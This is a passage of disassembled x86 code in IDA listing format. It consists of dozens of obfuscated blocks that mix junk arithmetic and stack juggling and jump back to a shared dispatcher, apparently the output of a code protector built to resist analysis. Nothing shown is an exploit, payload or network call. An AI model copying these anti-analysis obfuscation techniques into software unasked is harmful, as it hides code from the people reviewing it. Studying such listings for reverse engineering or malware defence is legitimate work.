; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+0AAh+var_AC+2]
		push	edx
		jmp	loc_5C31A6
; ---------------------------------------------------------------------------


loc_5D1720:				; CODE XREF: sub_5A55E5+2724Fj
		sub	ecx, 2DC54B09h
		jmp	loc_5D30A8
; ---------------------------------------------------------------------------


loc_5D172B:				; CODE XREF: sub_5A55E5+2AA0Ej
		xor	eax, [esp+8Eh+var_90+2]
		jmp	loc_5D1761
; ---------------------------------------------------------------------------


loc_5D1733:				; CODE XREF: sub_5A55E5+2235Cj
		mov	edi, 467475A5h
		jmp	loc_5CA100
; ---------------------------------------------------------------------------


loc_5D173D:				; CODE XREF: sub_5A55E5+1C042j
		sub	eax, edi
		pop	edi
		sub	esp, 4
		mov	[esp+92h+var_94+2], edi
		jmp	loc_5D3AD2
; ---------------------------------------------------------------------------


loc_5D174B:				; CODE XREF: sub_5A55E5+2170Aj
		xor	cl, 25h
		xor	bh, cl
		mov	ecx, [esp+92h+var_94+2]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5CE75C
; ---------------------------------------------------------------------------


loc_5D1761:				; CODE XREF: sub_5A55E5+2C149j
		xor	[esp+8Eh+var_90+2], eax
		xor	eax, [esp+8Eh+var_90+2]
		mov	esp, [esp+8Eh+var_90+2]
		add	[esp+8Eh+var_90+2], eax
		pushf
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5D1773:				; CODE XREF: sub_5A55E5+2E81Fj
		and	eax, 173D664Bh
		shl	eax, 3
		and	eax, 28CD2E0Ch
		jmp	loc_5C8630
; ---------------------------------------------------------------------------


loc_5D1785:				; CODE XREF: sub_5A55E5+23686j
		add	esp, 4
		jmp	loc_5BFBEB
; ---------------------------------------------------------------------------


loc_5D1790:				; CODE XREF: sub_5A55E5+2CE43j
		push	esi
		mov	esi, 1E9D177Eh
		inc	esi
		sub	esi, 0B3260D0Bh
		or	ebp, esi
		jmp	loc_5C898B
; ---------------------------------------------------------------------------


loc_5D17A4:				; CODE XREF: sub_5A55E5+2594Fj
		add	edx, 69731FEEh
		mov	eax, [esp+88h+var_88]
		add	esp, 4
		pop	ebx
		sub	edx, 4
		jmp	loc_5C0F3D
; ---------------------------------------------------------------------------


loc_5D17B9:				; CODE XREF: sub_5A55E5+2B5A4j
		add	edx, ebp
		mov	ebp, [esp+74h+var_74]
		add	esp, 4
		push	ebp
		mov	ebp, 0D77280Bh
		jmp	loc_5C6F40
; ---------------------------------------------------------------------------


loc_5D17CC:				; CODE XREF: sub_5A55E5+2A7E9j
		pop	esp
		push	3011h
		mov	[esp+0AEh+var_B0+2], eax
		push	1163h
		mov	[esp+0B2h+var_B4+2], edx
		jmp	loc_5C7822
; ---------------------------------------------------------------------------


loc_5D17E2:				; CODE XREF: sub_5A55E5+2882Fj
		or	esi, eax
		pop	eax
		sub	esi, 0FFFFFFFFh
		not	esi
		inc	esi
		jmp	loc_5BF9B9
; ---------------------------------------------------------------------------


loc_5D17F3:				; CODE XREF: sub_5A55E5+2679Cj
		mov	eax, 4
		add	edi, eax
		pop	eax
		xor	edi, [esp+9Eh+var_A0+2]
		xor	[esp+9Eh+var_A0+2], edi
		xor	edi, [esp+9Eh+var_A0+2]
		pop	esp
		push	[esp+9Ah+var_9C+2]
		jmp	loc_5BFE82
; ---------------------------------------------------------------------------


loc_5D180D:				; CODE XREF: sub_5A55E5+1F04Ej
		mov	ecx, 54672D2Ch
		add	ecx, 46514C5h
		shl	ecx, 7
		push	ebp
		push	esi
		mov	esi, 30057A36h
		not	esi
		shl	esi, 5
		sub	esi, 74345DE5h
		and	esi, 180A7606h
		sub	esi, 0A1E75986h
		push	ecx
		mov	ecx, esi
		mov	ebp, ecx
		jmp	loc_5C9223
; ---------------------------------------------------------------------------


loc_5D1843:				; CODE XREF: sub_5A55E5+2DEEDj
		mov	esi, esp
		add	esi, 4
		jmp	loc_5CEFA3
; ---------------------------------------------------------------------------


loc_5D1850:				; CODE XREF: sub_5A55E5+2397Cj
		inc	edx
		xor	edx, 9CD3A030h
		push	ebx
		jmp	loc_5CC55E
; ---------------------------------------------------------------------------


loc_5D185D:				; CODE XREF: sub_5A55E5+1FA78j
		push	edx
		mov	dl, 0B0h
		sub	al, dl
		pop	edx
		sub	al, 0E2h
		sub	dl, al
		push	[esp+54h+var_54]
		pop	eax
		add	esp, 4
		jmp	loc_5C5255
; ---------------------------------------------------------------------------


loc_5D1876:				; CODE XREF: sub_5A55E5+29D95j
		pop	ecx
		sub	ebp, ecx
		mov	ecx, [esp+78h+var_78]
		add	esp, 4
		add	ebp, 0CE443625h
		add	ebx, 4C4A4498h
		sub	ebx, 22D60C88h
		sub	ebx, ebp
		add	ebx, 22D60C88h
		push	eax
		mov	eax, 23F563Fh
		jmp	loc_5C140F
; ---------------------------------------------------------------------------


loc_5D18A7:				; CODE XREF: sub_5A55E5+2D0A5j
		add	eax, edx
		mov	edx, [esp+78h+var_78]
		add	esp, 4
		push	298h
		jmp	loc_5CB6FD
; ---------------------------------------------------------------------------


loc_5D18BC:				; CODE XREF: sub_5A55E5+220DBj
		add	al, 0D4h
		sub	al, ch
		jmp	loc_5CE261
; ---------------------------------------------------------------------------


loc_5D18C5:				; CODE XREF: sub_5A55E5+25461j
		movzx	eax, al
		jmp	loc_5C06EE
; ---------------------------------------------------------------------------


loc_5D18CD:				; CODE XREF: sub_5A55E5+1B7B3j
		mov	dx, word ptr [esp+0A4h+var_A4]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 2
		xchg	edi, [esp+0A8h+var_A8]
		mov	esp, [esp+0A8h+var_A8]
		push	67EFh
		mov	[esp+0ACh+var_AC], ecx
		mov	ch, 10h
		jmp	loc_5C7702
; ---------------------------------------------------------------------------


loc_5D18F2:				; CODE XREF: sub_5A55E5+29623j
		add	esp, 4
		sub	eax, 1
		jmp	loc_5CA469
; ---------------------------------------------------------------------------


loc_5D18FD:				; CODE XREF: sub_5A55E5+2BAD9j
		pop	eax
		mov	ah, dl
		pop	edx
		and	dh, ah
		pop	eax
		push	cx
		mov	ch, dh
		not	ch
		mov	dh, ch
		mov	cx, word ptr [esp+0ACh+var_AC]
		add	esp, 2
		push	2969h
		mov	[esp+0ACh+var_AC], ebx
		mov	bh, 95h
		xor	dh, bh
		pop	ebx
		jmp	loc_5C3FBA
; ---------------------------------------------------------------------------


loc_5D1928:				; CODE XREF: sub_5A55E5+2E4FFj
		sub	esp, 4
		jmp	loc_5C837E
; ---------------------------------------------------------------------------


loc_5D1930:				; CODE XREF: sub_5A55E5+2AED2j
		mov	esi, 638240FFh
		xor	esi, 0FE7D50FBh
		add	edi, esi
		pop	esi
		jmp	loc_5CF5AE
; ---------------------------------------------------------------------------


loc_5D1943:				; CODE XREF: sub_5A55E5+2CD7Dj
		add	esi, 2F9A70A6h
		pop	eax
		dec	esi
		add	esi, 40776F4Fh
		add	eax, 25E837DDh
		jmp	loc_5C3D4F
; ---------------------------------------------------------------------------


loc_5D195B:				; CODE XREF: sub_5A55E5+1B363j
		mov	edi, 110D565Ah
		jmp	loc_5CD5D8
; ---------------------------------------------------------------------------


loc_5D1965:				; CODE XREF: sub_5A55E5+2BF6Cj
		xchg	ebx, [esp+90h+var_90]
		pop	esp
		mov	[esp+8Ch+var_8C], esi
		push	esp
		jmp	loc_5C251B
; ---------------------------------------------------------------------------


loc_5D1972:				; CODE XREF: sub_5A55E5+284DDj
		not	eax
		jmp	loc_5CF2CE
; ---------------------------------------------------------------------------


loc_5D1979:				; CODE XREF: sub_5A55E5+2AAEDj
		bswap	eax
		jmp	loc_5C2E4F
; ---------------------------------------------------------------------------


loc_5D1980:				; CODE XREF: sub_5A55E5+23ECFj
		add	ebx, ecx
		push	[esp+9Ch+var_9C]
		jmp	loc_5C98AB
; ---------------------------------------------------------------------------


loc_5D198A:				; CODE XREF: sub_5A55E5+28D98j
		add	edx, edi
		push	[esp+0A2h+var_A4+2]
		pop	edi
		add	esp, 4
		xchg	edx, [esp+9Eh+var_A0+2]
		jmp	loc_5C2954
; ---------------------------------------------------------------------------


loc_5D199B:				; CODE XREF: sub_5A55E5+27179j
		pop	edx
		shr	edx, 8
		inc	edx
		sub	edx, 25C11E01h
		push	ebp
		jmp	loc_5BFD08
; ---------------------------------------------------------------------------


loc_5D19AC:				; CODE XREF: sub_5A55E5+1ACD3j
		mov	ebx, 17215F0Bh
		and	eax, ebx
		pop	ebx
		sub	eax, 28325FD4h
		xor	eax, 86C0ED64h
		xor	edi, eax
		pop	eax
		jmp	loc_5C0E2B
; ---------------------------------------------------------------------------


loc_5D19C6:				; CODE XREF: sub_5A55E5+20CFDj
		and	eax, edx
		push	[esp+0B6h+var_B8+2]
		push	[esp+0BAh+var_BC+2]
		pop	edx
		sub	esp, 4
		mov	[esp+0BEh+var_C0+2], ebp
		mov	ebp, esp
		push	eax
		jmp	loc_5D0914
; ---------------------------------------------------------------------------
		dd 8B3C77FFh, 68502404h, 6D58h,	0E9241C89h, 0FFFF8127h
; ---------------------------------------------------------------------------


loc_5D19F4:				; CODE XREF: sub_5A55E5+1D081j
		add	bl, cl
		add	bl, 48h
		pop	ecx
		jmp	loc_5C38C8
; ---------------------------------------------------------------------------
		push	[esp+0BEh+var_C0+2]
		jmp	loc_5CCABA
; ---------------------------------------------------------------------------


loc_5D1A07:				; CODE XREF: sub_5A55E5+29E38j
		add	esp, 4
		push	5424h
		mov	[esp+94h+var_94], ecx
		jmp	loc_5C5459
; ---------------------------------------------------------------------------


loc_5D1A17:				; CODE XREF: sub_5A55E5+1F561j
		pop	ebx
		push	ecx
		mov	ecx, 91C082Fh
		inc	ecx
		xor	ecx, 0BAF3512h
		push	4AD6h
		mov	[esp+94h+var_94], edx
		mov	edx, 9097308h
		and	edx, 0A0156F2h
		sub	edx, 0DFB9EC23h
		jmp	loc_5C2034
; ---------------------------------------------------------------------------


loc_5D1A43:				; CODE XREF: sub_5A55E5+26E9Aj
		pop	ecx
		xor	edi, [esp+9Eh+var_A0+2]
		jmp	loc_5C2C7D
; ---------------------------------------------------------------------------


loc_5D1A4C:				; CODE XREF: sub_5A55E5+1AA50j
		push	21C1h
		mov	[esp+96h+var_98+2], edi
		mov	edi, 4
		push	ebp
		mov	ebp, 72C4298Ch
		add	[esp+9Ah+var_94+2], ebp
		pop	ebp
		sub	esp, 4
		mov	[esp+9Ah+var_9C+2], ecx
		mov	ecx, 68D86C9Dh
		push	ebx
		jmp	loc_5D101F
; ---------------------------------------------------------------------------


loc_5D1A75:				; CODE XREF: sub_5A55E5+1CCB3j
		not	eax
		push	0
		add	[esp+74h+var_74], 494667E7h
		sub	[esp+74h+var_74], eax
		sub	[esp+74h+var_74], 494667E7h
		jmp	loc_5D0E42
; ---------------------------------------------------------------------------


loc_5D1A92:				; CODE XREF: sub_5A55E5+2979Cj
		push	[esp+9Ch+var_98]
		mov	edx, [esp+0A0h+var_A0]
		add	esp, 4
		pop	[esp+9Ch+var_9C]
		mov	esp, [esp+98h+var_98]
		jmp	loc_5D04EE
; ---------------------------------------------------------------------------


loc_5D1AAA:				; CODE XREF: sub_5A55E5+2B394j
		mov	[esp+90h+var_90], edi
		jmp	loc_5CDF41
; ---------------------------------------------------------------------------


loc_5D1AB2:				; CODE XREF: sub_5A55E5+1E8ACj
		push	dword ptr [edx]
		push	[esp+9Eh+var_A0+2]
		pop	ecx
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+0A2h+var_A4+2]
		pop	esp
		jmp	loc_5C7335
; ---------------------------------------------------------------------------
		push	dword ptr fs:[edx]
		jmp	loc_5D031F
; ---------------------------------------------------------------------------


loc_5D1AD5:				; CODE XREF: sub_5A55E5+2ABD7j
		add	ebx, esi
		pop	esi
		xchg	ebx, [esp+88h+var_88]
		mov	esp, [esp+88h+var_88]
		or	edx, eax
		shl	edx, 1
		push	1659h
		mov	[esp+8Ch+var_8C], eax
		jmp	loc_5CA23C
; ---------------------------------------------------------------------------


loc_5D1AEF:				; CODE XREF: sub_5A55E5+22DE4j
		and	ecx, ebp
		pop	ebp
		sub	ecx, 0D55A571Eh
		add	ebp, ecx
		pop	ecx
		sub	edi, 549E2A86h
		jmp	loc_5CAF8A
; ---------------------------------------------------------------------------


loc_5D1B06:				; CODE XREF: sub_5A55E5+2158Dj
		push	edx
		mov	edx, 0B6479755h
		jmp	loc_5C7603
; ---------------------------------------------------------------------------


loc_5D1B11:				; CODE XREF: sub_5A55E5+23B20j
		sub	ebx, 5B696CF9h
		pop	edi
		jmp	loc_5C7F8A
; ---------------------------------------------------------------------------


loc_5D1B1D:				; CODE XREF: sub_5A55E5+297F9j
		push	eax
		mov	eax, 31BC4C5Fh
		add	eax, 460EE6A3h
		jmp	loc_5BFD60
; ---------------------------------------------------------------------------


loc_5D1B2D:				; CODE XREF: sub_5A55E5+2D843j
		sub	ebp, eax
		mov	eax, [esp+8Ch+var_8C]
		add	esp, 4
		add	ebp, 0DF9B6AEBh
		add	ebx, ebp
		mov	ebp, [esp+88h+var_88]
		add	esp, 4
		sub	ecx, 49333347h
		add	ecx, ebx
		add	ecx, 49333347h
		pop	ebx
		push	ecx
		push	[esp+84h+var_80]
		pop	ecx
		pop	[esp+84h+var_84]
		mov	esp, [esp+80h+var_80]
		mov	cx, word ptr [esp+80h+var_80]
		jmp	loc_5C3E81
; ---------------------------------------------------------------------------


loc_5D1B67:				; CODE XREF: sub_5A55E5+2B32Aj
		shl	edx, 6
		jmp	loc_5CF511
; ---------------------------------------------------------------------------


loc_5D1B6F:				; CODE XREF: sub_5A55E5+25D62j
		mov	edi, 5F84595Eh
		inc	edi
		not	edi
		jmp	loc_5C1C5F
; ---------------------------------------------------------------------------


loc_5D1B7C:				; CODE XREF: sub_5A55E5+1B2FBj
		sub	bl, 8Bh
		sub	bl, al
		add	bl, 8Bh
		push	edx
		mov	dh, 77h
		sub	bl, 0CBh
		add	bl, dh
		jmp	loc_5CAB7B
; ---------------------------------------------------------------------------


loc_5D1B91:				; CODE XREF: sub_5A55E5+1BD8Dj
		mov	esi, esp
		jmp	loc_5D3EA0
; ---------------------------------------------------------------------------


loc_5D1B98:				; CODE XREF: sub_5A55E5+2526Cj
		push	541Dh
		mov	[esp+0BCh+var_BC], ebx
		mov	ebx, 13D02758h
		xchg	ebp, ebx
		not	ebp
		push	ebx
		push	ebp
		pop	ebx
		mov	ebp, [esp+0C0h+var_C0]
		add	esp, 4
		xor	ebx, 0EC2FD8A3h
		jmp	loc_5CE9C4
; ---------------------------------------------------------------------------


loc_5D1BBD:				; CODE XREF: sub_5A55E5+20B97j
		xor	eax, 1F73D0h
		xor	eax, 5B3B47C1h
		dec	eax
		jmp	loc_5C16C4
; ---------------------------------------------------------------------------


loc_5D1BCD:				; CODE XREF: sub_5A55E5+2918Cj
		mov	ah, cl
		pop	ecx
		mov	dl, ch
		pop	cx
		xor	byte ptr [esp+96h+var_98+2], dl
		xor	dl, byte ptr [esp+96h+var_98+2]
		jmp	loc_5D078F
; ---------------------------------------------------------------------------


loc_5D1BDF:				; CODE XREF: sub_5A55E5+211B6j
		add	edx, 0FFFFFFFFh
		neg	edx
		jmp	loc_5CA079
; ---------------------------------------------------------------------------


loc_5D1BEC:				; CODE XREF: sub_5A55E5+1A6AAj
		pop	ebp
		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, 3E3C78F0h
		shl	edi, 8
		add	edi, 0C3871004h
		add	ebp, edi
		jmp	loc_5D3C81
; ---------------------------------------------------------------------------


loc_5D1C06:				; CODE XREF: sub_5A55E5+262ACj
		push	esi
		mov	esi, 14EA58D1h
		xchg	eax, esi
		not	eax
		xchg	eax, esi
		inc	esi
		push	esi
		push	edx
		jmp	loc_5CCC7C
; ---------------------------------------------------------------------------


loc_5D1C18:				; CODE XREF: sub_5A55E5+2B570j
		pop	ecx
		add	ah, 57h
		sub	bl, 0BDh
		add	bl, ah
		add	bl, 0BDh
		mov	eax, [esp+5Ah+var_5C+2]
		add	esp, 4
		add	bl, 65h
		jmp	loc_5C1271
; ---------------------------------------------------------------------------


loc_5D1C32:				; CODE XREF: sub_5A55E5+22A28j
		push	ebx
		mov	bl, 0B8h
		add	al, bl
		jmp	loc_5D2905
; ---------------------------------------------------------------------------


loc_5D1C3C:				; CODE XREF: sub_5A55E5+2CC84j
		push	esi
		mov	esi, 59410E2Eh
		shr	esi, 7
		add	esi, 2F4F107h
		or	eax, esi
		pop	esi
		push	esi
		mov	esi, 9FA7F321h
		jmp	loc_5BFC9A
; ---------------------------------------------------------------------------


loc_5D1C59:				; CODE XREF: sub_5A55E5+2A8A7j
		mov	esi, [esp+7Ah+var_7C+2]
		add	esp, 4
		jmp	loc_5CD64D
; ---------------------------------------------------------------------------


loc_5D1C67:				; CODE XREF: sub_5A55E5+2BBD7j
		add	ebp, edi
		push	[esp+98h+var_98]
		jmp	loc_5C68B6
; ---------------------------------------------------------------------------


loc_5D1C71:				; CODE XREF: sub_5A55E5+27487j
		pop	[esp+7Eh+var_80+2]
		mov	esp, [esp+7Ah+var_7C+2]
		push	ebx
		push	7CD9h
		mov	[esp+82h+var_84+2], eax
		push	ebx
		mov	bl, dl
		push	edx
		jmp	loc_5CFF44
; ---------------------------------------------------------------------------


loc_5D1C89:				; CODE XREF: sub_5A55E5+1E755j
		add	edx, ebx
		pop	ebx
		push	ecx
		mov	ecx, 1F07104h
		jmp	loc_5C91E0
; ---------------------------------------------------------------------------


loc_5D1C97:				; CODE XREF: sub_5A55E5+2986Ej
		xchg	ebp, [esp+80h+var_80]
		mov	esi, [esp+80h+var_80]
		add	esp, 4
		sub	esi, 6FDD5633h
		not	esi
		sub	esp, 4
		mov	[esp+80h+var_80], edx
		jmp	loc_5D0387
; ---------------------------------------------------------------------------


loc_5D1CB9:				; CODE XREF: sub_5A55E5+1D0BCj
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5D1CBE:				; CODE XREF: sub_5A55E5+2D511j
		xor	ah, 0AAh
		sub	ah, 0DDh
		mov	cl, ah
		pop	eax
		xor	al, cl
		mov	cx, word ptr [esp+6Ch+var_6C]
		add	esp, 2
		push	ecx
		mov	cl, 0A9h
		sub	esp, 2
		mov	word ptr [esp+70h+var_70], ax
		jmp	loc_5C923B
; ---------------------------------------------------------------------------


loc_5D1CE5:				; CODE XREF: sub_5A55E5+270E5j
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, 3F1346E9h
		sub	ebx, 1
		xor	ebx, 3A9E7CC6h
		sub	ebx, 5C3F27C9h
		not	ebx
		xor	ebx, 56B1ED9Eh
		push	ebx
		jmp	loc_5D0294
; ---------------------------------------------------------------------------


loc_5D1D0E:				; CODE XREF: sub_5A55E5+2D74Cj
		inc	eax
		jmp	loc_5CE508
; ---------------------------------------------------------------------------


loc_5D1D14:				; CODE XREF: sub_5A55E5+1E437j
		push	edx
		jmp	loc_5C0AEB
; ---------------------------------------------------------------------------


loc_5D1D1A:				; CODE XREF: sub_5A55E5+28C93j
		add	ecx, 4
		jmp	loc_5CA587
; ---------------------------------------------------------------------------


loc_5D1D22:				; CODE XREF: sub_5A55E5+23F4Ej
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5D1D27:				; CODE XREF: sub_5A55E5+22E8Ej
		push	esi
		jmp	loc_5D08A4
; ---------------------------------------------------------------------------


loc_5D1D2D:				; CODE XREF: sub_5A55E5+215F6j
		sub	esp, 4
		mov	[esp+86h+var_88+2], ecx
		mov	ecx, 57472791h
		sub	esp, 4
		mov	[esp+8Ah+var_8C+2], esi
		push	ebp
		mov	ebp, 231A51C5h
		push	eax
		mov	eax, 0C012BB2h
		not	eax
		jmp	loc_5C0D0A
; ---------------------------------------------------------------------------


loc_5D1D54:				; CODE XREF: sub_5A55E5+1A4E4j
		mov	edx, ebx
		mov	ebx, [esp+5Ch+var_5C]
		add	esp, 4
		jmp	loc_5C36A1
; ---------------------------------------------------------------------------


loc_5D1D64:				; CODE XREF: sub_5A55E5+2998Dj
		add	ecx, 4
		xchg	ecx, [esp+6Ah+var_6C+2]
		jmp	loc_5C75A8
; ---------------------------------------------------------------------------


loc_5D1D6F:				; CODE XREF: sub_5A55E5+1E521j
		sub	ecx, 0BD83290h
		pop	esi
		sub	ecx, 0A0D12A28h
		add	ebx, ecx
		pop	ecx
		add	ebx, 167B4C32h
		pop	small word ptr [eax]
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5D1D8D:				; CODE XREF: sub_5A55E5+1F713j
		neg	ebp
		add	ebp, 19494ED4h
		add	eax, ebp
		mov	ebp, [esp+0A2h+var_A4+2]
		jmp	loc_5C53B2
; ---------------------------------------------------------------------------


loc_5D1D9F:				; CODE XREF: sub_5A55E5+2D1DDj
		push	[esp+0A2h+var_A4+2]
		pop	edx
		sub	esp, 4
		mov	[esp+0A6h+var_A8+2], edi
		jmp	loc_5C48F8
; ---------------------------------------------------------------------------
		lodsb
		push	1C1Dh
		mov	[esp+0AAh+var_AC+2], edx
		jmp	loc_5C0170
; ---------------------------------------------------------------------------


loc_5D1DBF:				; CODE XREF: sub_5A55E5+23F8Fj
		mov	eax, [esp+7Ch+var_7C]
		add	esp, 4
		add	esp, 4
		jmp	loc_5CB657
; ---------------------------------------------------------------------------


loc_5D1DCD:				; CODE XREF: sub_5A55E5+2A901j
		mov	edx, 46CA72FDh
		xor	edx, 2FF61A81h
		sub	eax, edx
		pop	edx
		sub	eax, esi
		add	eax, 693C687Ch
		push	eax
		sub	[esp+50h+var_50], 2F9A70A6h
		jmp	loc_5C0C16
; ---------------------------------------------------------------------------


loc_5D1DEF:				; CODE XREF: sub_5A55E5+1AD06j
		pop	esi
		add	esi, 4
		add	esi, 4
		push	esi
		jmp	loc_5D380A
; ---------------------------------------------------------------------------


loc_5D1DFF:				; CODE XREF: sub_5A55E5+1DC90j
		pop	eax
		add	esp, 4
		jmp	loc_5D15F9
; ---------------------------------------------------------------------------


loc_5D1E0B:				; CODE XREF: sub_5A55E5+1C0C9j
		add	[esp+96h+var_94+2], edi
		add	[esp+96h+var_94+2], 7A5B6F1Fh
		mov	edi, [esp+96h+var_98+2]
		add	esp, 4
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5D1E25:				; CODE XREF: sub_5A55E5+1E30Dj
		push	ebx
		jmp	loc_5C6AF0
; ---------------------------------------------------------------------------


loc_5D1E2B:				; CODE XREF: sub_5A55E5+29D1Aj
		sub	esi, 4
		jmp	loc_5C5F2F
; ---------------------------------------------------------------------------


loc_5D1E33:				; CODE XREF: sub_5A55E5+27DFDj
		sub	ebp, edi
		mov	edi, [esp+8Ch+var_8C]
		jmp	loc_5CCA71
; ---------------------------------------------------------------------------


loc_5D1E3D:				; CODE XREF: sub_5A55E5+1F24Fj
		push	ecx
		jmp	loc_5D1627
; ---------------------------------------------------------------------------


loc_5D1E43:				; CODE XREF: sub_5A55E5+1C669j
		mov	esi, 4
		add	[esp+0A4h+var_A0], esi
		pop	esi
		pop	eax
		jmp	loc_5C4F9C
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		sbb	byte ptr [esp+9Ah+var_9C+2], al
		pushf
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5D1E62:				; CODE XREF: sub_5A55E5+2D136j
		add	ch, bh
		pop	ebx
		jmp	loc_5CAF5F
; ---------------------------------------------------------------------------


loc_5D1E6A:				; CODE XREF: sub_5A55E5+1B8EAj
		add	eax, ecx
		jmp	loc_5C7F11
; ---------------------------------------------------------------------------


loc_5D1E71:				; CODE XREF: sub_5A55E5+1CA58j
		and	ecx, 196D7738h
		sub	ecx, 0BAAA3E95h
		xor	edi, ecx
		mov	ecx, [esp+88h+var_88]
		push	ebp
		jmp	loc_5D0514
; ---------------------------------------------------------------------------


loc_5D1E88:				; CODE XREF: sub_5A55E5+2B5F8j
		mov	ch, 0DAh
		sub	ch, 0Fh
		add	al, ch
		pop	ecx
		pop	ecx
		add	al, 0F7h
		jmp	loc_5D216E
; ---------------------------------------------------------------------------


loc_5D1E98:				; CODE XREF: sub_5A55E5+220CBj
		xchg	eax, [esp+94h+var_94]
		pop	esp
		mov	[esp+90h+var_90], esi
		push	eax
		mov	eax, 2
		mov	esi, eax
		pop	eax
		jmp	loc_5CFFE2
; ---------------------------------------------------------------------------


loc_5D1EAD:				; CODE XREF: sub_5A55E5+29CE4j
		pop	ebp
		add	esi, 4
		xchg	esi, [esp+82h+var_84+2]
		pop	esp
		jmp	loc_5C63AE
; ---------------------------------------------------------------------------


loc_5D1EBA:				; CODE XREF: sub_5A55E5+2CBC5j
		push	eax
		mov	eax, 12AF2390h
		sub	esi, eax
		pop	eax
		add	esi, 26AA00EEh
		add	esi, eax
		push	edx
		mov	edx, 78FE4994h
		neg	edx
		xor	edx, 0A1ABB682h
		jmp	loc_5CD51C
; ---------------------------------------------------------------------------


loc_5D1EDE:				; CODE XREF: sub_5A55E5+1BC87j
		pop	esp
		mov	[esp+0B6h+var_B8+2], ebx
		jmp	loc_5C6578
; ---------------------------------------------------------------------------


loc_5D1EE7:				; CODE XREF: sub_5A55E5+23429j
		add	edx, 4
		xchg	edx, [esp+9Ah+var_9C+2]
		jmp	loc_5C47B7
; ---------------------------------------------------------------------------


loc_5D1EF2:				; CODE XREF: sub_5A55E5+26ECEj
		pop	eax
		jmp	loc_5C9FAC
; ---------------------------------------------------------------------------


loc_5D1EF8:				; CODE XREF: sub_5A55E5+1D920j
		pop	ebx
		push	157Fh
		mov	[esp+9Eh+var_A0+2], esi
		push	5D97h
		mov	[esp+0A2h+var_A4+2], esp
		add	[esp+0A2h+var_A4+2], 4
		pop	esi
		sub	esp, 4
		mov	[esp+0A2h+var_A4+2], ecx
		mov	ecx, 16696361h
		or	ecx, 52D21014h
		sub	ecx, 56FB7371h
		add	esi, 905B36h
		add	esi, ecx
		sub	esi, 905B36h
		pop	ecx
		push	ebx
		jmp	loc_5D27DD
; ---------------------------------------------------------------------------


loc_5D1F40:				; CODE XREF: sub_5A55E5+2AC68j
		xor	edx, edi
		jmp	loc_5CACFC
; ---------------------------------------------------------------------------


loc_5D1F47:				; CODE XREF: sub_5A55E5+20563j
		push	small 0D81h
		mov	word ptr [esp+96h+var_98+2], cx
		push	2474h
		mov	[esp+9Ah+var_9C+2], edx
		jmp	loc_5CD1DA
; ---------------------------------------------------------------------------


loc_5D1F5C:				; CODE XREF: sub_5A55E5+1B027j
		push	eax
		push	4
		pop	eax
		sub	ebx, 6C3F08EFh
		add	ebx, eax
		jmp	loc_5C6A26
; ---------------------------------------------------------------------------


loc_5D1F70:				; CODE XREF: sub_5A55E5+22807j
		sub	esp, 4
		mov	[esp+82h+var_84+2], edx
		mov	edx, esp
		jmp	loc_5C2251
; ---------------------------------------------------------------------------


loc_5D1F80:				; CODE XREF: sub_5A55E5+23071j
		push	edx
		not	[esp+0B2h+var_B4+2]
		mov	edx, [esp+0B2h+var_B4+2]
		add	esp, 4
		push	edi
		jmp	loc_5CD98F
; ---------------------------------------------------------------------------


loc_5D1F93:				; CODE XREF: sub_5A55E5+1F239j
		mov	edi, [esp+90h+var_90]
		add	esp, 4
		or	eax, eax
		jz	loc_5CC152
		push	dword ptr [edi+1Ch]
		xor	[esp+90h+var_90], 380A4525h
		mov	ecx, [esp+90h+var_90]
		jmp	loc_5CE2CA
; ---------------------------------------------------------------------------


loc_5D1FB3:				; CODE XREF: sub_5A55E5+1BD40j
		add	edi, edx
		push	ebp
		mov	ebp, 2F887161h
		xor	ebp, 5C0304E5h
		sub	edi, ebp
		jmp	loc_5C6BBE
; ---------------------------------------------------------------------------


loc_5D1FC8:				; CODE XREF: sub_5A55E5+2BE17j
		pop	eax
		add	dl, bh
		pop	ebx
		jmp	loc_5C69EC
; ---------------------------------------------------------------------------


loc_5D1FD1:				; CODE XREF: sub_5A55E5+214DAj
		mov	bl, 3Ah
		sub	cl, bl
		pop	bx
		jmp	loc_5C15DF
; ---------------------------------------------------------------------------


loc_5D1FDC:				; CODE XREF: sub_5A55E5+29AA0j
		add	ebx, 4
		xchg	ebx, [esp+5Ch+var_5C]
		pop	esp
		jmp	loc_5C89ED
; ---------------------------------------------------------------------------
		neg	[esp+58h+var_58]
		pushf
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5D1FF4:				; CODE XREF: sub_5A55E5+2E307j
		add	esp, 4
		jmp	loc_5C47D7
; ---------------------------------------------------------------------------


loc_5D1FFC:				; CODE XREF: sub_5A55E5+23751j
		pop	ebp
		push	eax
		xor	[esp+96h+var_98+2], 19747443h
		pop	ebp
		xor	ebp, 19747443h
		mov	eax, [esp+92h+var_94+2]
		jmp	loc_5C61F6
; ---------------------------------------------------------------------------


loc_5D2014:				; CODE XREF: sub_5A55E5+2732Cj
		add	eax, 720AA439h
		sub	eax, 9332BB86h
		sub	ebx, eax
		mov	eax, [esp+90h+var_90]
		add	esp, 4
		add	ebx, ecx
		push	esi
		jmp	loc_5CCC55
; ---------------------------------------------------------------------------


loc_5D2031:				; CODE XREF: sub_5A55E5+1AABFj
		sub	esp, 4
		mov	[esp+82h+var_84+2], esi
		xor	[esp+82h+var_84+2], 56BD76B4h
		jmp	loc_5C65EC
; ---------------------------------------------------------------------------


loc_5D2043:				; CODE XREF: sub_5A55E5+261ABj
		pop	ecx
		add	ecx, 0AB598753h
		sub	edx, ecx
		pop	ecx
		neg	edx
		sub	edx, 100A6E6Dh
		shl	edx, 1
		jmp	loc_5C4AA3
; ---------------------------------------------------------------------------


loc_5D205C:				; CODE XREF: sub_5A55E5+1C7C0j
		xchg	eax, [esp+8Ch+var_8C]
		mov	esp, [esp+8Ch+var_8C]
		sub	esp, 4
		jmp	loc_5CBE93
